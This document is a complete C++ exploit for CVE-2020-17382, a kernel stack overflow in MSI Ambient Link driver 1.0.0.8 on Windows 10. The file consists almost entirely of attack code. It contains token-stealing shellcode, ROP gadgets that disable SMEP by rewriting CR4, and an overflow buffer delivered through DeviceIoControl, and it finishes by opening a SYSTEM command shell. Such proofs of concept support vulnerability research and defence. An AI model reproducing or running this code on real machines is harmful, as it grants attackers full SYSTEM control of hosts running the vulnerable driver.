/* Exploit Title: MSI Ambient Link Driver 1.0.0.8 - Local Privilege Escalation Date: 2020-09-24 Exploit Author: Matteo Malvica Vendor Homepage: https://www.msi.com Software Link: https://msi.gm/ABLTMNB Driver: MSIO64.sys SHA256: 525D9B51A80CA0CD4C5889A96F857E73F3A80DA1FFBAE59851E0F51BDFB0B6CD Version: 1.0.0.8 Tested on: Windows 10 1709 [19041.1.amd64fre.vb_release.191206-1406] MSI Ambient Link Driver 1.0.0.8 Kernel Stack Based Buffer Overflow / Local Privilege Escalation CVE: CVE-2020-17382 Writeup: https://www.matteomalvica.com/blog/2020/09/24/weaponizing-cve-2020-17382/ Original advisory: https://www.coresecurity.com/core-labs/advisories/msi-ambient-link-multiple-vulnerabilities */ #include <iostream> #include <string> #include <Windows.h> #include <Psapi.h> #pragma warning( disable : 6387 ) VOID eopMsio(HANDLE hFile, INT64 kernel_base, DWORD pid, DWORD IoControlCode) { // SHELLCODE FOR 1709 BYTE token_steal[] = "\x65\x48\x8B\x14\x25\x88\x01\x00\x00" // mov rdx, [gs:188h] ; Get _ETHREAD pointer from KPCR "\x4C\x8B\x82\xB8\x00\x00\x00" // mov r8, [rdx + b8h] ; _EPROCESS (kd> u PsGetCurrentProcess) "\x4D\x8B\x88\xe8\x02\x00\x00" // mov r9, [r8 + 2e8h] ; ActiveProcessLinks list head "\x49\x8B\x09" // mov rcx, [r9] ; Follow link to first process in list //find_system_proc: "\x48\x8B\x51\xF8" // mov rdx, [rcx - 8] ; Offset from ActiveProcessLinks to UniqueProcessId "\x48\x83\xFA\x04" // cmp rdx, 4 ; Process with ID 4 is System process "\x74\x05" // jz found_system ; Found SYSTEM token "\x48\x8B\x09" // mov rcx, [rcx] ; Follow _LIST_ENTRY Flink pointer "\xEB\xF1" // jmp find_system_proc ; Loop //found_system: "\x48\x8B\x41\x70" // mov rax, [rcx + 70h] ; Offset from ActiveProcessLinks to Token "\x24\xF0" // and al, 0f0h ; Clear low 4 bits of _EX_FAST_REF structure //find cmd "\x48\x8B\x51\xF8" // mov rdx, [rcx-8] ;ActiveProcessLinks - 8 = UniqueProcessId "\x48\x81\xFA\x99\x99\x00\x00" // cmp rdx, 0d54h ;UniqueProcessId == ZZZZ? (PLACEHOLDER) "\x74\x05" // jz found_cmd ;YES - move on "\x48\x8B\x09" // mov rcx, [rcx] ;NO - next entry in list "\xEB\xEE" // jmp find_cmd ;loop // found cmd "\x48\x89\x41\x70" // mov [rcx+70h], rax ;copy SYSTEM token over top of this process's token "\x48\x31\xc9" // xor rcx rcx ; clear some registers to avoid issues while unwinding the call stack "\x48\x31\xc0" // xor rax rax "\x48\x31\xf6" // xor rsi,rsi "\x48\x31\xff" // xor rdi, rdi "\x4D\x31\xC0" // xor r8, r8 "\x48\xc7\xc1\xf8\x06\x15\x00" // mov rcx, 0x1506f8 ; move original cr4 value into rcx "\xc3"; // ret ; RET token_steal[54] = pid; token_steal[55] = pid >> 8; LPVOID allocated_shellcode = VirtualAlloc(NULL, sizeof(token_steal), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(allocated_shellcode, token_steal, sizeof(token_steal)); INT64 pop_rcx_offset = kernel_base + 0x15fc70; // gadget 1 1709 - pop rcx ; ret INT64 mov_cr4_offset = kernel_base + 0x76a02; // gadget 2 1709 - mov cr4, ecx ; ret INT64 wbindv_offset = kernel_base + 0x1175c0;; // gadget 3 1709 - wbinvd; ret INT64 rcx_value = 0x506f8; // value we want placed in cr4 in order to disable SMEP INT64 rcx_old_value = 0x1506f8; // original cr4 value INT64 ret = pop_rcx_offset + 1; // RET NOP puts("[+] SMEP disabled"); BYTE input_buff[136] = { 0 }; memset(input_buff, '\x41', 64); memset(input_buff, '\x42', 8); // dummy RBP memcpy(input_buff + 72, (PINT64)&pop_rcx_offset, 8); // pop rcx memcpy(input_buff + 80, (PINT64)&rcx_value, 8); // disable SMEP value memcpy(input_buff + 88, (PINT64)&mov_cr4_offset, 8); // mov cr4, rcx memcpy(input_buff + 96, (PINT64)&wbindv_offset, 8); // wbinvd; ret memcpy(input_buff + 104, (PINT64)&allocated_shellcode, 8);// shellcode memcpy(input_buff + 112, (PINT64)&mov_cr4_offset, 8); // mov cr4, rcx memcpy(input_buff + 120, (PINT64)&ret, 8); // RETNOP to restore the stack memcpy(input_buff + 128, (PINT64)&ret, 8); // RETNOP to restore the stack printf("[+] Payload buffer located at: 0x%p\n", &allocated_shellcode); DWORD lpBytesReturned = 0x0; BOOL triggerIOCTL = DeviceIoControl(hFile, IoControlCode, input_buff, sizeof(input_buff), NULL, 0, &lpBytesReturned, NULL); if (!triggerIOCTL) { printf("[!] DeviceIoControl failed: %d\n", GetLastError()); } else { puts("[+] SMEP re-enabled"); puts("[+] Enjoy your SYSTEM shell\n"); } system("start cmd.exe"); } LPVOID GetBaseAddr(const char* drvname) { LPVOID drivers[1024]; DWORD cbNeeded; int nDrivers, i = 0; if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) { char szDrivers[1024]; nDrivers = cbNeeded / sizeof(drivers[0]); for (i = 0; i < nDrivers; i++) { if (GetDeviceDriverBaseNameA(drivers[i], (LPSTR)szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) { if (strcmp(szDrivers, drvname) == 0) { return drivers[i]; } } } } return 0; } HANDLE GetDriverHandle() { HANDLE hMsio; hMsio = CreateFileA("\\\\.\\MsIo", FILE_READ_ACCESS | FILE_WRITE_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL, NULL); if (hMsio == INVALID_HANDLE_VALUE) { printf("[-] Error obtaining an handle to the driver: %d\n", GetLastError()); exit(1); } return hMsio; } int main() { puts("[*] CVE-2020-17382 - Win10 1709 - PoC by Matteo 'uf0' Malvica"); DWORD IoControlCode = 0x80102040; HANDLE hDevice = GetDriverHandle(); INT64 nt = (INT64)GetBaseAddr("ntoskrnl.exe"); DWORD pid = GetCurrentProcessId(); eopMsio(hDevice, nt, pid, IoControlCode); return 0; }